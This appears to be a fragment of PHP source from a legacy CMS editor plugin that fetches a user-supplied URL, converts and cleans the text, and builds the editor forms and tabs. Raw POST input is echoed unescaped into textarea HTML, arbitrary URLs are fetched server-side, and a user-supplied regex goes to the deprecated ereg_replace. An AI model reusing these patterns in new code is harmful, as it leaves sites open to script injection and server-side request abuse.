$urlsrc = $_POST["urlsrc"]; // && $_POST["txt"]=="" $_POST["urlsrc"] = $urlsrc = strdeb($urlsrc, '?utm_source'); } if ($_POST["suj"]) { $title = $_POST["suj"]; } if (strpos($urlsrc, "http") === false && $urlsrc) { $urlsrc = 'http://' . $urlsrc; } if ($urlsrc && $_POST["txt"] == "") { list($title, $reb, $ret, $defid, $defs) = vacuum($urlsrc, ""); } //echo txarea('',$ret,20,4); #### //see h-number in html(mnu) $tabnam = 'tbmdtab-1'; if ($_POST["urlsrc"] or $_POST["txt"] or $_POST["txb"]) { $_SESSION[$tabnam] = '2'; $npb = $_SESSION['npnb']; } elseif ($_POST["urlsrc"] && !$_POST["txt"]) { $_SESSION[$tabnam] = '1'; } //else $_SESSION[$tabnam]='0';//current_tab if ($_POST["txt"]) { $ret = stripslashes($_POST['txt']); } //html if ($_POST["txb"]) { $reb = stripslashes($_POST['txb']); } //conn if ($_POST["title"]) { $title = stripslashes($_POST['title']); } if ($_POST["convent"]) { $ret = html_entity_decode($ret); } if ($_POST["convutf"]) { $ret = utf8_decode($ret); } if ($_POST["convurl"]) { $ret = urldecode($ret); } if ($_POST["urlencode"]) { $ret = urlencode($ret); } if ($_POST["table2array"]) { $reb = plugin_func('table2array', 'table2array_build', $reb); } if ($ret && !$reb) { //if(!strpos($ret,'<br />') && strpos($ret,"\r"))$ret=nl2br($ret); $reb = converthtml($ret); //htmlentities //htmlspecialchars $reb = html_entity_decode_b($reb); $reb = html_entity_decode($reb); $reb = convertmail($reb); $reb = embed_links($reb); } elseif (!$ret) { $ret = format_txt(stripslashes($reb), 0, ""); } //if(!$ret) $ree = clean_br($ret); #edit //transformers if ($_POST['repla']) { if ($_POST['rec_prg']) { $reb = ereg_replace(stripslashes($_POST['repla']), stripslashes($_POST['replb']), $reb); } else { $reb = str_replace(stripslashes($_POST['repla']), stripslashes($_POST['replb']), $reb); } } if ($_POST['del_tab']) { $reb = del_tables($reb); } //if($_POST['conn_to_del']){$reb=correct_txt($reb,$_POST['conn_to_del'],'correct'); // $reb=str_replace(array("¬","|"),"",$reb); $reb=clean_br($reb);} if ($_POST['del_n'] == "ok") { $reb = del_n($reb); } if ($_POST['clean_mail']) { $reb = convertmail($reb); } if ($_POST["clean_punct"]) { $reb = clean_punct($reb); } if ($_POST["add_punct"] == "ok") { $reb = add_lines($reb); } if ($_POST['clean_br'] or $urlsrc) { $reb = clean_br($reb); } /*----------------------*/ //import if ($_SESSION["dev"]) { $dv = ' ' . btn('txtsmall', $_SESSION["dev"]); } $out['head'] .= lkc("txtx", "/plug/editor", picto('editxt', 16) . $dv) . ' '; //'₪' //defcons if (!$defid) { $defid = str_replace(array('http://', 'www.'), '', $urlsrc); $defid = substr($defid, 0, strpos($defid, '/')); } $defcon .= msqlink('users', $basedefs . '_defcons'); if ($_SESSION['rstr'][18] == 1 && $_SESSION['auth'] > 4) { $defcon .= lkc("txtblc", '?switch_defcon==', "switch") . ' '; $defcon .= lkt("txtblc", '/msql/users/' . $basedefs . '_defcons&append=users/public_defcons', "herit_from_public") . ' '; $defcon .= lkt("txtblc", '/msql/users/public_defcons&append=users/' . $_SESSION["qb"] . '_defcons', "inform_public") . ' '; } else { $defcon .= btn('txtsmall', 'public_defcons') . ' '; } if ($defid) { $defcon .= lj("txtred", 'popup_editmsql___users/' . $basedefs . '*defcons_' . $defid, "edit"); } $otab['html'] .= '<form id="form1" name="coded" method="post" action="/plug/editor">'; $otab['html'] .= ljb('txtbox', 'document.coded.txt.select()', '', '::'); $otab['html'] .= submitj('txtbox', 'codeb', 'convert') . ' '; $otab['html'] .= input2("text", "urlsrc", $urlsrc, '" size="36') . ' '; if ($urlsrc) { $otab['html'] .= lkt('txtx', $urlsrc, 'go') . ' '; } $otab['html'] .= br(); $otab['html'] .= '<textarea name="txt" id="txt" class="console" rows="21" cols="61">' . $ret . '</textarea>' . br(); //htmlentities $otab['html'] .= $defcon . ' '; $otab['html'] .= checkbox("objects", "ok", "objects", 0) . ' '; //$otab['html'].=checkbox("jump","ok","not_convert",0).br(); $otab['html'] .= checkbox("nobr", "ok", "br", 0); $otab['html'] .= checkbox("convent", "ok", "entities", 0) . ' '; $otab['html'] .= checkbox("convutf", "ok", "utf8", 0) . ' '; $otab['html'] .= checkbox("convurl", "ok", "url", 0) . ' '; $otab['html'] .= checkbox("see", "ok", "show_work", 0) . br(); $otab['html'] .= lkt("txtblc", "/plug/converts", "conversions") . ' '; $otab['html'] .= lkt("txtblc", "/plug/pad", "notepad") . ' '; $otab['html'] .= lkt("txtblc", "/plug/ifram", "iframe") . ' '; $otab['html'] .= lkc('txtblc', '/plug/editor/reset_cache', 'reset_cache') . ' '; $otab['html'] .= '</form>'; //notepad if ($_SESSION['USE']) { $otab['connectors'] .= divs('position:absolute; right:0; top:0;', plugin('txt', $npb, 1)); } $otab['connectors'] .= btn('txtit', $title); $otab['connectors'] .= '<form name="converted" method="post" action="">'; $otab['connectors'] .= ljb('txtbox', 'document.converted.txb.select()', '', '::'); $otab['connectors'] .= submitj('txtbox', 'converted', 'modif') . ' '; $otab["connectors"] .= div('', conn_correct($reb)); //local_reparation $otab['connectors'] .= div(ats('width:630px;'), conn_edit("")); $otab['connectors'] .= input(0, 'title', $title, ''); $otab['connectors'] .= '<textarea name="txb" id="txtarea" class="tab" rows="16" cols="68" wrap="VIRTUAL" onselect="storeCaret(this);" onclick="storeCaret(this);" onkeyup="storeCaret(this);" ondblclick="storeCaret(this);" onChange="clip.setText(this.value)">' . $reb . '</textarea><br>'; $otab['connectors'] .= '<div class="txtsmall2">'; $otab['connectors'] .= $defcon . ' '; $otab['connectors'] .= checkbox("clean_mail", "ok", "clean_mail", 0) . ' '; $otab['connectors'] .= checkbox("clean_br", "ok", "clean_br", 0) . ' '; $otab['connectors'] .= checkbox("del_n", "ok", "del_nl", 0) . ' '; $otab['connectors'] .= checkbox("add_punct", "ok", "add_nl", 0) . ' '; $otab['connectors'] .= checkbox("clean_punct", "ok", "typo_rules", 0) . ' '; $otab['connectors'] .= checkbox("del_tab", "ok", "del_tables", 0) . ' '; $otab['connectors'] .= checkbox("table2array", "ok", "table2array", 0) . ' '; //$otab['connectors'].='<label>delete:</label>'.balise("select",array(2=>"conn_to_del",5=>"txtblc"),batch_defil_kv(connectors_reference_lite(),"","vv")).' '; $otab['connectors'] .= '</div>'; $otab['connectors'] .= divc('txtsmall2', 'replace by:') . '' . txarea("repla", $_POST['repla'], 15, 1) . ' ' . txarea("replb", $_POST['replb'], 15, 1) . ' ' . checkbox("rec_prg", "ok", "preg", 0); $otab['connectors'] .= '</form>'; $otab['connectors'] .= lkt("txtblc", "/plug/converts", "converts") . ' '; $otab['connectors'] .= lkt("txtblc", "/plug/pad", "notepad") . ' '; $otab['connectors'] .= lkt("txtblc", "/plug/buildtable", "buildtable") . ' '; //wysiwyg //if($title)$otab["render"].=btn("txtit",$title).br(); $otab['render'] .= btd('bts', ljb('txtbox', 'SaveIcpb()', '', 'convert')) . ' '; $otab['render'] .= ljb('txtx" id="edt', 'editab(0)', '', 'editable') . ' '; $otab['render'] .= txareacb($ree, 'tabc panel justy'); $otab['render'] .= btd('bts', ljb('txtbox', 'SaveIcpb()', '', 'convert')) . ' '; $otab['render'] .= ljb('txtx" id="edt', 'editab(0)', '', 'editable') . ' '; $otab['render'] .= divd('popup', '') . "\n"; $otab['render'] .= divd('popw', '') . "\n"; $otab['render'] .= hidden('', 'socket', ''); $out["end"] .= '</body>' . "\n" . '</html>'; return implode("", $out) . make_tabs($otab); }